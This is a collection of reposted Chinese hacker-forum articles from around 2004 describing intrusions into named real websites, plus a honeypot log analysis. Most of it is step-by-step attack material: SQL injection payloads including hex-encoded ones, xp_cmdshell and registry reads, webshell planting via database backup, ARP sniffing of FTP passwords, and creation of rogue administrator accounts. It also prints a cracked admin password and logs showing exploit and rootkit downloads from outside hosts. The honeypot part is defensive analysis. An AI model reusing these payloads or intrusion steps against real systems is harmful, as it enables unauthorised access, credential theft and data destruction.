//获得所有子目录的目录树结构,并存入temp表中
insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';--
//把c:\web\index.asp的内容写入到temp表
and 1=(select count(*) from temp where id >1);--
//暴表里的数据
呵呵。不过很高难度，我人懒，所以没有学精，不敢讲。。。写得有点乱，见恕。
本文只作技术交流，请不要作出对任何网站的攻击活动！
推荐学习网站：http://www.fineacer.com/


[转载]黑客防线---主机外部的危险

信息来源：流氓黑客
文章作者：xiaolu
前言:不是我有意想搞你，而是你们有些过分了，拿着别人的稿子去卖钱，拿着别人的技术装点自己，这也无所谓。你们那种优越感让我不得不提醒你们一下，你们的优越是建立在别人付出之上的。
一、扫描，发现开着ftp。。。。。没常见漏洞。。。。。决定arp欺骗，进行嗅探。
二、找嗅探主机:
C:\>ping www.hacker.com.cn
Pinging www.hacker.com.cn [211.157.102.239] with 32 bytes of data:
开始扫描 211.157.102.1-211.157.102.255 80+1433 端口,找到一个默认目录的站，然后找注入漏洞。
http://xx.xx.xx.xx/111.asp?id=3400 and 1=(SELECT IS_SRVROLEMEMBER(sysadmin))
发现不是sa权限:

http://xx.xx.xx.xx/111.asp?id=3400 and 1=(select name from master.dbo.sysdatabases where dbid=7)
得到库名ku1:

来吧，想办法搞个shell(此处感谢臭要饭的的资料)，不理解的，多看看网上资料：
http://xx.xx.xx.xx/111.asp?id=3400;create table [dbo].[xiaolu] ([xiaoxue][char](255));--
http://xx.xx.xx.xx/111.asp?id=3400;DECLARE @result varchar(255) EXEC master.dbo.xp_regread HKEY_LOCAL_MACHINE,SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots, /, @result output insert into xiaolu (xiaoxue) values(@result);--
http://xx.xx.xx.xx/111.asp?id=3400 and (select top 1 xiaoxue from xiaolu)=1
得到了web路径d:\xxxx,接下来：
http://xx.xx.xx.xx/111.asp?id=3400;use ku1;--
http://xx.xx.xx.xx/111.asp?id=3400;create table cmd (str image);--
http://xx.xx.xx.xx/111.asp?id=3400;insert into cmd(str) values ();--
http://xx.xx.xx.xx/111.asp?id=3400;backup database ku1 to disk=D:\xxxx\l.asp;--
(关于这种shell的利用,请参见最小的asp后门的动画http://666w.cn/down/view.asp?id=754)
上传..............shell,准备提升权限......,发现pcanywhere,找到：
C:/Documents and Settings/All Users/Application Data/Symantec/pcAnywhere/PCA.xxx.CIF
流光破解密码，pcanywhere连接，看来上天比较帮助我，一切顺利，admin密码和pcanywhere密码一样，：）,tracert 一下：
1 <10 ms <10 ms <10 ms 211.157.102.239
唉，该当黑防有此劫，可以进行arp欺骗。（关于arp欺骗，网上很多资料,bbs.666w.cn/dispbbs.asp?boardID=7&ID=764&page=1）
用webshell上传我们需要的软件：
WinPcap.exe arpsniffer.exe pv.exe
arpsniffer.exe ------------ 57 k 榕哥的交换环境下嗅探工具
pv.exe ----------------60k (PrcView附带的一个命令行程序,华军有下)杀进程
WinPcap.exe ------------------678k 嗅探所用到的一个驱动程序
安装WinPcap.exe,下一步，下一步，完成。
建立一个隐藏的虚拟目录(怎么建立自己去查资料)，应用程序保护设为低 以便于我们用webshell运行arp程序，不然被管理员发现可就不好。
三、开始嗅探：
OK，继续........开始SNIFFER........由于目前中国网络结构和相关技术人员素质等问题.这个可以说是百发百中，运行：
arpsniffer.exe 211.157.102.254 211.157.102.239 21 c:\111.txt 1
211.157.102.254是网关，211.157.102.239是黑防ip,c:\111.txt是log文件,1是网卡id
接下来要做什么?当然就是等了.......不过我们不想等几天时间.我们希望能再顺利些.告诉朋友行动起来,帮我一下，帮我告诉黑防编辑,你的站被黑了………
结果不用说了.几分钟后我拿到了ftp密码，因为arpsniffer进程在运行我们没法直接看，于是用webshell运行：
pv -k -f arpsniffer.exe
kill这个进程，看密码喽~~~~~~
四、工作中：
上传shell,呀！没做安全,盘全部可以浏览，目标在e:\wwwroot,提升全限,利用serv-u，呀怎么不能运行程序呀，呀，原来cmd.exe改成king.exe了呀，net.exe改成了net1king.exe呀，继续 fpipe -v -l 3041 -r 43958 127.0.0.1
添加ftp用户,设为管理员，登陆运行

quote site exec net1king xiaolu xiaoxue /add
quote site exec net1king localgroup administrators xiaolu /add

3389登陆，呀，不行呀，继续

quote site exec net1king xiaolu xiaoxue@@!#!@#@!!@#@123 /add
quote site exec net1king localgroup administrators xiaolu /add

哈哈，还作了密码限制，进去了。接下来我就不说了，让黑防编辑头疼去吧。。。。。。。。（此处省略N多内容）

看看有什么好东西吧，发现有webeasymail服务器哦.看信，看看让编辑们牛比的了不得的资料，不知道密码怎么看呀。

嘿嘿，跟我来：D:/mail/mail/，每个用户目录下都有UserWeb.ini
打开，修改
questionInfo = 1
answerInfo = 1
hintInfo = 1

打开http://hacker.com.cn/mail---忘记密码，添上我们的问题和答案，挖靠，这么多信，有没有没什么好东西啊

该撤退了，剩下的留给编辑们去搞吧。
五：总结：
本次入侵历时1个小时左右，没有什么高深的技术，都是些比较浅显的技术，嗅探渗透是好几年前的技术了，sql注入是比较流行的方法，也不算新了，能这么快得到ftp密码多亏了朋友的“社会工程学”的运用。
技术虽然很值钱，灵活运用会使技术更有价值。


[转载]攻击ASP.net网站实例

转自：http://www.cnwill.com/
嘻嘻。gov得。。保护作者删除名字
今天上了一个人才招聘网站，对他们的招聘系统我很感兴趣，aspx结尾的，看来是.net的程序，这样的网站会不会有什么漏洞呢？顺便打开一条消息 http://www.cnwill.com/NewsShow.aspx?id=4847 ，然后加一个' 看看出现什么？我晕。。
Source: .Net SqlClient Data Provider
Description: 字符串 '' 之前有未闭合的引号。
TargeSite: System.Data.SqlClient.SqlDataReader ExecuteReader(System.Data.CommandBehavior, System.Data.SqlClient.RunBehavior, Boolean)
似乎有可能，然后 1=1 正常 1=2出错。。这和asp的似乎没有区别阿。。于是把NBSI挂上了，竟然也可以猜出表名来，和ASP没区别。不过NBSI不认识这里的出错信息，只能按照没有提示的方式破。。先暂停一下NBSI，输入
http://www.cnwill.com/NewsShow.aspx?id=4844%20and%200<>(select%20@@version )--
提示：
Source: .Net SqlClient Data Provider
Description: 将 nvarchar 值 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 转换为数据类型为 int 的列时发生语法错误。
TargeSite: Boolean Read()
是个2000的Enterprise server而且SP4了。。然后
http://www.cnwill.com/NewsShow.aspx?id=4844%20and%200<>user_name ()
提示：
Source: .Net SqlClient Data Provider
Description: 将 nvarchar 值 'dbo' 转换为数据类型为 int 的列时发生语法错误。
TargeSite: Boolean Read()
哦？用dbo的身份连接？应该有搞头。。

首先按照破解ASP网站的方法，要他的绝对路径用以下，第一步建立一个表：
http://www.cnwill.com/NewsShow.aspx?id=4844;create%20table%20[dbo].[cyfd]([gyfd][char](255 ))--
把web路径写进去
http://www.cnwill.com/NewsShow.aspx?id=4844;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--
还是让他不匹配，显示错误
http://www.cnwill.com/NewsShow.aspx?id=4844 and 1=(select count(*) from cyfd where gyfd >1)
得到提示：
Source: .Net SqlClient Data Provider
Description: 将 varchar 值 'Y:\Web\烟台人才热线后台管理系统,,201 ' 转换为数据类型为 int 的列时发生语法错误。
TargeSite: Boolean Read()
哈哈哈。。路径暴露了。。
接下来删除痕迹
http://www.cnwill.com/NewsShow.aspx?id=4844;drop%20table%20cyfd ;--
后边该怎么做就不多说了。。和攻击ASP的网站一样。。


[转载]轻易取得龙客联盟的文章管理系统的权限

文章作者：xiaoxun
1-前言：
早上，没有什么事情做；觉得挺无聊的。无意中就点了www.cnlongker.com这个站点的LOGO。进去该站点。看起来站点设计的还可以。然后对他进行了测试（哎~老习惯了）
2-寻找注入点（我最近搞注入搞上瘾了）
http://long.zgwx.org/show.asp?id=390 （注入点）
他的站点上到处都是注入点。随便找都可以。
大家可以用 '号或者 and 1=1 或者 and 1=2来测试是否可以注入（页面正常返回就可以注入了。这样很容易懂吧）
3-对管理员用户名和密码进行猜解
A: 判断是否存在admin表名
语句：And(Select Count(*) from Admin)>=0
在存在注入点的URL后面加空格然后加入语句。正常返回代表存在admin表名。如果不存在可以换其他的表名 比如admin_user 这些。尝试到为止。假如碰到一些其他的站点表名有点表态的可以考虑放弃吧。呵呵~`猜到你死！（又废话了）。
B：判断表名admin里是否存在name列名
语句：And(Select Count(name) from Admin)>=0
正常返回代表存在admin表名里存在name列名。如果不存在可以换其他的列名尝试。比如ID
C：判断admin表名里有 password列名
语句：And(Select Count(password) from Admin)>=0
正常返回代表存在admin表名里存在password列名。如果不存在可以换其他的列名尝试。比如PASS
到此为止。我已经判断了该站点存在admin表名。admin表名里存在name password2个列名。接着来应该判断name列名里的第一个用户名的字符长度。比如jiaozhu这个用户名的话就是7个字符，判断字符长度语句如下：
语句：And len((Select top 1 name from Admin))>1
这句语句的意思是：判断admin表里的第1个用户的name列名的字符长度
注释：top 1 是代表第1个用户你。Admin))>1 这里的1是代表探测字符长度为1
你可以该成5、6、7、8等都可以。
当然，判断password这个列表里的第一个用户的字符长度是多少也可以用这个语句。稍微改变一下就可以了，语句：
语句：And len((Select top 1 password from Admin))>1
一直判断到正确的长度值是多少，就可以进行猜解用户名与密码。（页面正常返回就是正确长度）
我判断了该站点name列名的长度是6。我接着猜解第1个字符是什么。
语句：
and left((Select top 1 name from Admin),1)=a
这句语句是意思是：判断第1个用户的用户名第一个字符为a
如果页面错误的话。可以换成b、C、D、E、F 一直猜解下去。
很快。我已经猜解出第一个字符是s
接下来猜解第2位字符语句有点改变，
and left((Select top 1 name from Admin),2)=sa
为了菜鸟容易理解，我解释一下：
我把Admin),1）这里改成了Admin),2) 就是说准备猜解第2个字符。
)=sa 意思是：已经猜解到第1个字符为S第2个字符我用A来猜解
如果A不对可以换其他字符来猜。直到页面正常返回。现在你已经明白了如果猜解要猜解第3个字符应该怎么修改了吧！：）
很快，我便猜解出用户名为： samuel
现在我们应该到判断密码的字符长度是多少了。
语句还是一样。把列表里的name改成password就可以了！
语句：And len((Select top 1 password from Admin))>1
这个不用解释了吧。和判断name列名的长度方法是一样的。
我得到了该站的密码长度是19
那么就进行猜解密码。语句和方法与猜解用户名的方法一样。
只是把猜解语句里的name改成password
语句：and left((Select top 1 name from Admin),1)=a
就一直猜解吧！呵呵~如果遇上一些特长的密码的话，那是你倒霉了。你自己慢慢猜吧！呵呵~~~
经过半小时的猜解，得出www.cnlongker.com 的管理员用户名为samuel
密码为：!@#$%^&*()cnlongker
--------------------------------------------------------------------------
结束语：
本人语文水平不是很好。写的文章很垃圾....语句不通畅。呵呵~`不要笑我！不过我还是用最简单的口语表达，希望让大家更容易理解注入的过程。大家如果要对别的站点进行测试的话记得要随机应变啊！


[转载]最后的战役 第三次注入中国黑客联盟

信息来源：网嗅安全网
文章作者：小生
帮黑夜找一个工具，又去了黑客基地看了一眼，我晕，又是枫三少的照片挂在上面（n年前就是这样了，三少，挂照片好爽？^-^），我倒！看看黑基有什么注入漏洞先。我找啊找，找到了论坛。看到一个叫《[原创]对中国黑客联盟的二次渗透》，是某人写的。我直觉告诉我，这个什么中国黑客联盟应该还有漏洞（别丢鸡蛋，我很少去这样的站）。已经被人黑了2次了，也不差我了吧。我再来！

地址
http://www.chinahacker.com/article/list.asp?id=891
测试开始吧。

测试一：
http://www.chinahacker.com/article/list.asp?id=891’
返回：你提交的数据有错，不要老喜欢搞我啦，Kender留言

个人判断：过滤了’

测试二：
http://www.chinahacker.com/article/list.asp?id=891%20and%201=1

返回：正常

个人判断：应该可以去死了，只过滤了’。

而且是mssql的数据库，我最喜欢。然后我想可能还过滤了select之类的吧。这次真是好玩。我想了想用16进制，这里我用了一个工具，是裤衩写的HEXSQL。由于枫三少已经写了有article表了，我是一个很懒的人。提交如下：
http://www.chinahacker.com/article/list.asp?id=891%20and%20%28%73%65%6C%65%63%74%20%63%6F%75%6E%74%28%2A%29%20%46%72%6F%6D%20%61%72%74%69%63%6C%65%29%3E%30
其实就是
http://www.chinahacker.com/article/list.asp?id=891 and (select count(*) from article)>0
返回正常，我是个很喜欢drop表的人来的。看看;能不能先

http://www.chinahacker.com/article/list.asp?id=891;
oh，shit，过滤了。再来一下先。

http://www.chinahacker.com/article/list.asp?id=891%3B

，又可以了。

提醒黑客联盟一下吧。这里更好玩！
http://www.chinahacker.com/soft/show.asp?id=401%20and%20%28%73%65%6C%65%63%74%20%63%6F%75%6E%74%28%2A%29%20%46%72%6F%6D%20%61%72%74%69%63%6C%65%29%3E%30
玩认真的了。

连接用户：

%20and%20%75%73%65%72%3E%30代表 and user>0
返回
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'ChinaHacker.com.Article' 转换为数据类型为 int 的列时发生语法错误。
Sql信息：

%20and%20%31%3D%28%73%65%6C%65%63%74%20%40%40%56%45%52%53%49%4F%4E%29 代表 and 1=(select @@VERSION)
返回
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 转换为数据类型为 int 的列时发生语法错误。
用户权限：

省略n个测试，反正不是sa权限。

接下来是暴表，暴字段。这里我要感谢一个人，小竹。暴表就舒服多了啊。用不着慢慢猜。
一暴有这样的表wodoubuzhidaoshuoshenmehao。字段名id,username,password。就差不多了，继续暴，我是很懒的人来的。不会一个一个去猜的。

不如backup a webshell 吧。

得到库名为ChinaHacker.com.Article

创建一个表先
http://www.chinahacker.com/article/list.asp?id=891%3B%63%72%65%61%74%65%20%74%61%62%6C%65%20%5B%64%62%6F%5D%2E%5B%78%62%6C%75%65%5D%20%28%5B%35%34%62%6F%62%5D%5B%63%68%61%72%5D%28%32%35%35%29%29%3B%2D%2D
到绝对路径了

http://www.chinahacker.com/article/list.asp?id=891%3B%44%45%43%4C%41%52%45%20%40%72%65%73%75%6C%74%20%76%61%72%63%68%61%72%28%32%35%35%29%20%45%58%45%43%20%6D%61%73%74%65%72%2E%64%62%6F%2E%78%70%5F%72%65%67%72%65%61%64%20%27%48%4B%45%59%5F%4C%4F%43%41%4C%5F%4D%41%43%48%49%4E%45%27%2C%27%53%59%53%54%45%4D%5C%43%6F%6E%74%72%6F%6C%53%65%74%30%30%31%5C%53%65%72%76%69%63%65%73%5C%57%33%53%56%43%5C%50%61%72%61%6D%65%74%65%72%73%5C%56%69%72%74%75%61%6C%20%52%6F%6F%74%73%27%2C%20%27%2F%27%2C%20%40%72%65%73%75%6C%74%20%6F%75%74%70%75%74%20%69%6E%73%65%72%74%20%69%6E%74%6F%20%78%62%6C%75%65%20%28%35%34%62%6F%62%29%20%76%61%6C%75%65%73%28%40%72%65%73%75%6C%74%29%3B%2D%2D
得到绝对路径为：d:\chinahacker

有个notdown表啊，小路帮我drop了，果然是老手，我还没有想到，小路简直是我偶像，要多多向他学习一下才行。这里要谢谢小路对我的帮忙，谢谢了。

这次纯粹是为了玩，没有drop表，没有update文章系统。Kender不要找我麻烦。我怕怕。

我认为，想防止再发生的话。最好就让数字只能是数字好了，搜索那里过滤就照原来一样。具体可以看看小竹的《SQL注入天书 - ASP注入漏洞全接触》的最后那部分的防范处理
冰血封情评论：
都快变成当年的《黑客防线》了，真是黑了又被黑呀。


[转载]一次入侵秀的详细分析

信息来源：sinbad.zhoubin.com
Sinbad Technical Publications Page 1
1.起因
本文聚焦于我的Linux Honeypot，她在网络中散发着阵阵蜜香，引诱蠕虫和各
路客们的光临。为了让honeypot 更加attractive，都要采取一些处理方式。最
近邮件列表中还有过这种讨论，有个家伙说他朋友在某黑客IRC 中公布了
honeypot 的IP 地址，结果一帮罗马利亚黑客入侵后发现是一个蜜罐系统，所
有动作都被完整记录，于是愤怒了，采用分布式拒绝服务方式疯狂报复，导致
临近网络瘫痪一个月之久。
所以，在引诱入侵者的时候要讲究技巧。上个月我曾和一个朋友聊起我的方法：
建立一个普通用户账号，密码同用户名，在控制台上用该账号登录，让他一直
发呆，同时确认系统开放着finger 服务。比较怀旧的入侵者对finger还是情有
独钟的，企图finger出一大堆用户名，然后简单猜测密码进入系统，期望能够
与后生可畏的Script Kids 们划清界限。
没想到我的朋友记忆力特别好，事隔一个月，在我没发请柬的情况下，轻车熟
路的找到honeypot，然后用那个普通账号登录了进去。
明明知道这是个蜜罐系统，所有行为都被监控和记录，还要企图本地拿root、
安装后门、作为肉鸡攻击其他机器，不就是在舞台上表演请观众们欣赏么？这
就是入侵秀一词的由来。
下面就让我们一起来观摩这场表演，素材主要来源于日志服务器收集到的系统
日志、历史命令，以及Snort 录下的会话过程。当然，为了节约篇幅和保护隐
私作了部分裁减。希望读者从各自的角度都能有所收获。
2.扫描
一个周六的下午，Snort 报警提示有来自202.X.X.X 的SuperScan 扫描，发送
了一个ICMP Echo 的数据包测试系统是否存活：
2004-9-21 16:48 snort[1852]: [1:474:1] ICMP superscan echo [Classification: Attempted Information Leak] [Priority: 2]: {ICMP} 202.X.X.X -> 10.0.0.1
同时，系统日志记录了后续进行的端口探测活动：
Sinbad Technical Publications Page 2
2004-9-21 16:48 in.rlogind[1316]: connect from 210.X.X.X
2004-9-21 16:48 inetd[413]: pid 1318: exit status 1
2004-9-21 16:48 in.rshd[1318]: connect from 210.X.X.X
2004-9-21 16:48 in.fingerd[1315]: connect from 210.X.X.X
2004-9-21 16:48 in.telnetd[1313]: connect from 210.X.X.X
2004-9-21 16:48 rshd[1318]: Connection from 210.X.X.X on illegal port
2004-9-21 16:48 telnetd[1313]: ttloop: peer died: EOF
2004-9-21 16:48 inetd[413]: pid 1316: exit status 1
2004-9-21 16:48 inetd[413]: pid 1313: exit status 1
2004-9-21 16:48 sendmail[1314]: NOQUEUE: Null connection from [210.X.X.X]
2004-9-21 16:48 in.fingerd[1319]: connect from 210.X.X.X
2004-9-21 16:48 in.telnetd[1320]: connect from 210.X.X.X
注意到没有，这些端口连接的源地址不是发送ICMP Echo 的202.X.X.X，而是
210.X.X.X这个地址。很显然，我的朋友使用了TCP/UDP协议的代理跳板，而
ICMP 协议不被该跳板支持，所以他的真实IP 地址也暴露了。:P
3.本地越权尝试
用我的诱饵账号tom轻松登入，一次成功，就像进自己家一样：
2004-9-21 16:52 login: LOGIN ON 1 BY tom FROM 210.X.X.X
2004-9-21 16:52 PAM_pwdb[1321]: (login) session opened for user tom by(uid=0)
用cat 重定向加粘贴方式传送一段本地越权脚本到系统内，请注意时间差，他
的翻箱倒柜花了4 分钟：
2004-9-21 16:52 -bash: HISTORY: PID=1322 UID=500 ls
2004-9-21 16:52 -bash: HISTORY: PID=1322 UID=500 w
2004-9-21 16:52 -bash: HISTORY: PID=1322 UID=500 pwd
2004-9-21 16:52 -bash: HISTORY: PID=1322 UID=500 cd ..
2004-9-21 16:52 -bash: HISTORY: PID=1322 UID=500 ls
2004-9-21 16:56 -bash: HISTORY: PID=1322 UID=500 cd tom
2004-9-21 16:56 -bash: HISTORY: PID=1322 UID=500 cat > 1.sh
2004-9-21 16:56 -bash: HISTORY: PID=1322 UID=500 chmod 755 1.sh
2004-9-21 16:56 -bash: HISTORY: PID=1322 UID=500 ./1.sh
2004-9-21 16:58 -bash: HISTORY: PID=1322 UID=500 ls
Sinbad Technical Publications Page 3
输入./1.sh 执行后的结果呢？我们通过检查Snort 的SESSION录像后发现，系
统由于缺少相关库文件，没成功。注意：录像中命令输入的每个字符都出现了
两遍，这是终端的回显功能，Snort是忠实的作了双向记录：
[tom@abc tom]$ ..//11..sshh
+-----------------------------------------------------------+
| Linux kernel 2.2.X (X<=15) & sendmail <= 8.10.1 |
| local root exploit |
| |
| Bugs found and exploit wr#tten by Wojciech Purczynski |
| wp@elzabsoft.pl cliph/ircnet Vooyec/dalnet |
+-----------------------------------------------------------+
Creating temporary directory
Creating anti-noexec library (capdrop.c)
Compiling anti-noexec library (capdrop.so)
Creating suid shell (sush.c)
Compiling suid shell (sush.c)
Creating shell script
Creating own sm.cf
Dropping CAP_SETUID and calling sendmail
/bin/true: error in loading shared libraries: /tmp/foo/capdrop.so: cannot open shared object file:
No such file or directory
Waiting for suid shell (/tmp/sush)
[tom@abc tom]$ llss
第一次尝试失败，删除1.sh，同时留下“XXXX到此一游”的签名。也好，知
道是你干的了J
2004-9-21 16:58 -bash: HISTORY: PID=1322 UID=500 rm -rf 1.sh
2004-9-21 16:58 -bash: HISTORY: PID=1322 UID=500 echo haha shi wo XXXX > haha.txt
我的朋友开始闲逛了，好像没什么收获：
2004-9-21 16:59 -bash: HISTORY: PID=1322 UID=500 cd /tmp
2004-9-21 16:59 -bash: HISTORY: PID=1322 UID=500 ls
2004-9-21 16:59 -bash: HISTORY: PID=1322 UID=500 cd foo
2004-9-21 16:59 -bash: HISTORY: PID=1322 UID=500 ls
Sinbad Technical Publications Page 4
2004-9-21 16:59 -bash: HISTORY: PID=1322 UID=500 cd ..
2004-9-21 16:59 -bash: HISTORY: PID=1322 UID=500 ls -al
2004-9-21 16:59 -bash: HISTORY: PID=1322 UID=500 cd .font-unix
2004-9-21 16:59 -bash: HISTORY: PID=1322 UID=500 ls
2004-9-21 16:59 -bash: HISTORY: PID=1322 UID=500 cd fs-1
2004-9-21 16:59 -bash: HISTORY: PID=1322 UID=500 ls
2004-9-21 16:59 -bash: HISTORY: PID=1322 UID=500 cd fs-1
2004-9-21 17:00 -bash: HISTORY: PID=1322 UID=500 ls -al
2004-9-21 17:00 -bash: HISTORY: PID=1322 UID=500 cd /
2004-9-21 17:00 -bash: HISTORY: PID=1322 UID=500 ls
2004-9-21 17:00 -bash: HISTORY: PID=1322 UID=500 cd home
2004-9-21 17:00 -bash: HISTORY: PID=1322 UID=500 ls
2004-9-21 17:00 -bash: HISTORY: PID=1322 UID=500 cd ftp
2004-9-21 17:00 -bash: HISTORY: PID=1322 UID=500 ls
2004-9-21 17:00 -bash: HISTORY: PID=1322 UID=500 ls
2004-9-21 17:00 -bash: HISTORY: PID=1322 UID=500 cd /
2004-9-21 17:00 -bash: HISTORY: PID=1322 UID=500 ls
2004-9-21 17:01 -bash: HISTORY: PID=1322 UID=500 ps -ef
4.第二次本地越权尝试
重新换了个本地越权程序，编译后又立即把它删除了？
2004-9-21 17:05 -bash: HISTORY: PID=1322 UID=500 cd ~tom
2004-9-21 17:05 -bash: HISTORY: PID=1322 UID=500 cat > su.c
2004-9-21 17:05 -bash: HISTORY: PID=1322 UID=500 gcc -o su su.c
2004-9-21 17:05 -bash: HISTORY: PID=1322 UID=500 ls
2004-9-21 17:06 -bash: HISTORY: PID=1322 UID=500 rm -rf su.c
原来是编译的时候出错了。源代码中有些字符在用cat 重定向粘贴的时候出了
问题：
[tom@abc tom]$ ggcccc - -oo ssuu susu..cc
su.c:101: unterminated character constant
Sinbad Technical Publications Page 5
换种方式，vi 一个新文件，往里面贴：
2004-9-21 17:06 -bash: HISTORY: PID=1322 UID=500 vi su.c
2004-9-21 17:07 -bash: HISTORY: PID=1322 UID=500 gcc -o su su.c
这次的效果更加不好，出现了三个错误。同时我们也注意到，记录下来的的输
入命令部分有大量的 [A、[D 字符，这其实是在用上下键寻找刚才敲过的历史
命令“gcc –o su su.c”，看来他是够懒的:P
[tom@abc tom]$ [Avi su.c[A[D[D[D[D[D[D[D[4@rm -rf su.c[A[D[D[D[D[D[D[D[D[D[D[Dls[K[A[D[Dgcc -o su su.c
su.c:107: unterminated character constant
su.c:523: unterminated string or character constant
su.c:130: possible real start of unterminated constant
又留下一句话“以后有空再搞”，走了。周末下午的5 点多，应该有活动吧：
2004-9-21 17:09 -bash: HISTORY: PID=1322 UID=500 ls
2004-9-21 17:10 -bash: HISTORY: PID=1322 UID=500 rm -rf *.c
2004-9-21 17:10 -bash: HISTORY: PID=1322 UID=500 echo kao,yihou you kong zai gao >> haha.txt
2004-9-21 17:11 -bash: HISTORY: PID=1322 UID=500 w
2004-9-21 17:11 -bash: HISTORY: PID=1322 UID=500 ls -al
2004-9-21 17:11 -bash: HISTORY: PID=1322 UID=500 cat .bash_history
2004-9-21 17:13 -bash: HISTORY: PID=1322 UID=500 cat /etc/passwd
2004-9-21 17:16 -bash: HISTORY: PID=1322 UID=500 exit
5.第三次本地越权尝试
两天后，我的朋友又来了。是一个周一的下午，上班时间，看来他的工作不是
很忙。这就是“搞机器”一族的共同特点：拥有大量的时间和精力。
2004-9-23 13:28 in.telnetd[5567]: connect from 210.X.X.X
2004-9-23 13:28 PAM_pwdb[5568]: (login) session opened for user tom by(uid=0)
2004-9-23 13:28 login: LOGIN ON 1 BY tom FROM 210.X.X.X
Sinbad Technical Publications Page 6
这次他吸取了教训，试图用wget 直接从网上下载，不过我的系统好像没有装
wget，或者PATH 值不对，最后他改用lynx 加-dump 参数成功的从国内一个
hack.co.za 的镜像站点下载了利用/bin/su 的越权程序su.c，编译后执行，终于
获得了本地root权限：
2004-9-23 13:29 -bash: HISTORY: PID=5569 UID=500 w
2004-9-23 13:29 -bash: HISTORY: PID=5569 UID=500 ps -ef
2004-9-23 13:32 -bash:HISTORY: PID=5569 UID=500 wget _hack_co_za/redhat/5.1/su.c">http://www.safechina.net/www_hack_co_za/redhat/5.1/su.c
2004-9-23 13:34 -bash: HISTORY: PID=5569 UID=500 lynx
2004-9-23 13:35 -bash: HISTORY: PID=5569 UID=500 lynx -dump _hack_co_za/redhat/5.1/su.c">http://www.safechina.net/www_hack_co_za/redhat/5.1/su.c > su.c
2004-9-23 13:35 -bash: HISTORY: PID=5569 UID=500 gcc -o su su.c
2004-9-23 13:35 -bash: HISTORY: PID=5569 UID=500 ./su
su exploit by XP < xp@xtreme-power.com >
Enjoy!
Phase 1. Checking paths and write permisions
Checking for /usr/bin/msgfmt...Ok
Checking for /usr/bin/objdump...Ok
Checking write permisions on /tmp...Ok
Checking read permisions on /bin/su...Ok
Checking for a valid language... [using af_ZA] Ok
Checking that /tmp/LC_MESSAGES does not exist...Ok
Phase 2. Calculating eat and pad values
......................................................................done
eat = 120 and pad = 2
Phase 3. Creating evil libc.mo and setting enviroment
vars
Phase 4. Getting address of .dtors section of /bin/su
..........................................done
.dtors is at 0x0804bd3c
Phase 5. Compiling suid shell
/tmp/xp created Ok
Phase 6. Executing /bin/su
- Entering rootshell ;-) -
sh-2.03# iid
Snort也报警提示他获得了root权限：
2004-9-23 13:37 snort[1852]: [1:498:3] ATTACK RESPONSES id check returned root [Classification:
Potentially Bad Traffic] [Priority: 2]: {TCP} 10.0.0.1:23 -> 210.x.x.x:4560
Sinbad Technical Publications Page 7
6.安装后门
成功取得最高权限后，我的朋友开始下载adore rootkit和一个叫做sunxkdoor
的后门程序：
2004-9-23 13:39 sh: HISTORY: PID=7046 UID=0 lynx -dump http://stealth.7350.org/rootkits/adore-0.52.tgz > 1.tgz
2004-9-23 13:47 sh: HISTORY: PID=7046 UID=0 lynx -dump http://www.sunx.org/mysoft/sunxkdoor.tar > 1.tar
不过这次又失败了，重定向的文件都是0 字节。因为在越权获得的这个shell
中，lynx并不能正常的工作：
sh-2.03# lynx -dump http://stealth.7350.org/rootkits/adore-0.52.tgz >> 1.tgz
Your terminal lacks the ability to clear the screen or position the cursor.
sh-2.03# llyynnxx --dduummpp http:h//www.sunx.org/mysoft/sunxkdoor.tarttp://www.sunx.org/mysoft/sunxkdoor.tar >> 11..ttarar
Your terminal lacks the ability to clear the screen or position the cursor.
sh-2.03# lls s-a l
-al
total 4
drwxr-xr-x 2 tom tom 1024 Sep 22 21:43 .
drwxrwxrwt 5 root root 1024 Sep 22 21:35 ..
-rw-rw-r-- 1 root root 0 Sep 22 21:43 1.tar
-rw-rw-r-- 1 root root 0 Sep 22 21:37 1.tgz
-rw-rw-r-- 1 root root 0 Sep 22 21:37 adore.tgz
-rwxrwxrwx 1 tom tom 458 Sep 22 21:35 libc.mo
-rw-rw-r-- 1 tom tom 428 Sep 22 21:35 libc.po
sh-2.03# rrm m --rrff **
多次失败之后，他退出了rootshell 返回到正常的终端下，成功的用lynx 分别
下载了一个攻击telnet 守护进程的telnetd.c 保存为1.c、adore rootkit 保存为
1.tgz、sunxkdoor 后门保存为2.tar：
sh-2.03# eexxiitt
exit
Sinbad Technical Publications Page 8
Phase 7. Cleaning enviroment
rm: cannot unlink `/tmp/xp': Operation not permitted
2004-9-23 14:03 -bash: HISTORY: PID=5569 UID=500 lynx -dump linux-secure.net/pliki/exploits/telnetd/telnetd.c">http://www.linux-secure.net/pliki/exploits/telnetd/telnetd.c> 1.c
2004-9-23 14:04 -bash: HISTORY: PID=5569 UID=500 lynx -dump http://stealth.7350.org/rootkits/adore-0.52.tgz > 1.tgz
2004-9-23 14:04 -bash: HISTORY: PID=5569 UID=500 ls -al
2004-9-23 14:05 -bash: HISTORY: PID=5569 UID=500 tar zxfv 1.tgz
2004-9-23 14:05 -bash: HISTORY: PID=5569 UID=500 cd adore
2004-9-23 14:05 -bash: HISTORY: PID=5569 UID=500 ls
2004-9-23 14:05 -bash: HISTORY: PID=5569 UID=500 ./configure
2004-9-23 14:05 -bash: HISTORY: PID=5569 UID=500 make
2004-9-23 14:06 -bash: HISTORY: PID=5569 UID=500 ls
2004-9-23 14:07 -bash: HISTORY: PID=5569 UID=500 cd ..
2004-9-23 14:08 -bash: HISTORY: PID=5569 UID=500 lynx -dump http://www.sunx.org/mysoft/sunxkdoor.tar > 2.tar
2004-9-23 14:08 -bash: HISTORY: PID=5569 UID=500 ls -al
2004-9-23 14:08 -bash: HISTORY: PID=5569 UID=500 export HISTFILE=/dev/null
